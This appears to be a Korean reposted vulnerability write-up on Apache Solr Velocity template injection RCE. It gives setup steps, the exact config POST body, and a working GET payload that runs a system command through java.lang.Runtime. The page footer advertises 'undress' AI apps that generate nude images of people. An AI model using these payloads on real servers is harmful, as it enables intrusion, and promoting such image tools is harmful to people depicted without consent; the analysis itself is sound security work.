운영 및 유지보수 안전 Apache Solr 속도 템플릿 주입 RCE 취약점 분석 예

Apache Solr 속도 템플릿 주입 RCE 취약점 분석 예

May 19, 2023 am 10:37 AM
solr velocity

0x01 소개

Solr는 웹 서비스 API 인터페이스를 통해 외부 서비스를 제공할 수 있는 기업용 독립 검색 응용 서버입니다. 사용자는 http 요청을 통해 특정 형식의 XML 파일을 검색 엔진 서버에 제출하여 인덱스를 생성할 수 있으며, Http Get 작업을 통해 검색 요청을 하고 XML 형식으로 반환된 결과를 얻을 수도 있습니다. Apache Solr velocity模板注入RCE漏洞的示例分析

0x02 취약점 소개

공격자는 VelocityResponseWriter 구성 요소가 지정된 템플릿의 로드를 허용하도록 관련 구성을 수정하는 특정 요청을 구성할 수 있습니다. 공격자는 Velocity 템플릿 주입 원격 명령 실행 취약점을 악용하여 서버 권한을 직접 얻을 수 있습니다.

0x03 영향 범위

Apache Solr 5.x - 8.2.0, 구성 API 버전이 있습니다

0x04 환경 설정

java8 환경을 설치한 후 Solr을 다운로드하고, 주소:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

다운로드 후 압축을 풀고 bin 디렉토리에 들어가 실행합니다. /solr start

unzip solr- 8.2.0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

bin 아래의 solr.in.sh 파일을 수정하고 SOLR_ULIMIT_CHECKS를 false로 설정하면 일부 경고 메시지가 표시됩니다

vim solr .in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

그런 다음 다시 시작하세요./solr start 루트 시작이 실패하면 끝에 -force를 추가하세요.Apache Solr velocity模板注入RCE漏洞的示例分析

브라우저에서 http://ip:8983을 방문하면 다음 인터페이스가 성공했음을 나타내는 것으로 나타납니다. 설치Apache Solr velocity模板注入RCE漏洞的示例分析

하지만 Core를 생성할 수 없다는 것을 발견했습니다Apache Solr velocity模板注入RCE漏洞的示例分析

먼저 /server/solr/ 디렉터리에 new_core 폴더를 수동으로 만든 다음 /server/solr/configsets/_default/ 아래의 conf 디렉터리를 new_core 디렉터리에 복사합니다. 그런 다음 만들기를 클릭하세요Apache Solr velocity模板注入RCE漏洞的示例分析

0x05 취약점 재발

Core를 생성한 후 방문하여 애플리케이션 구성 파일에 액세스할 수 있는지 확인하세요

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr는 기본적으로 VelocityResponseWriter 플러그인을 통합합니다. 플러그인 초기화 매개변수의 params.resource.loader.enabled 기본값은 false로 설정되어 있지만, 통합 설정은 POST 요청을 통해 직접 수정할 수 있으며 true로 설정됩니다. , 그런 다음 원격 코드 실행을 달성하기 위해 특별한 GET 요청을 구성할 수 있습니다.

Burp를 사용하여 이 페이지의 패키지를 가져오고, POST 요청을 직접 구성하고, 다음 데이터를 추가하세요

{

"update-queryresponsewriter": {

"startup": "lazy",

"name" : "velocity" ,

"class": "solr.VelocityResponseWriter",

"template.base.dir": "",

"solr.resource.loader.enabled": "true",

"params .resource.loader .enabled": "true"

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

다음으로 RCE

payload:

http://ip:8983/solr/test/select를 구현하기 위한 페이로드를 구성할 수 있습니다. ?q= 1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27)) +%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+% 23set($ ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[ 1.. $out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr velocity模板注入RCE漏洞的示例分析

POC 주소: https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06 수정방법

최신버전으로 업데이트

위 내용은 Apache Solr 속도 템플릿 주입 RCE 취약점 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)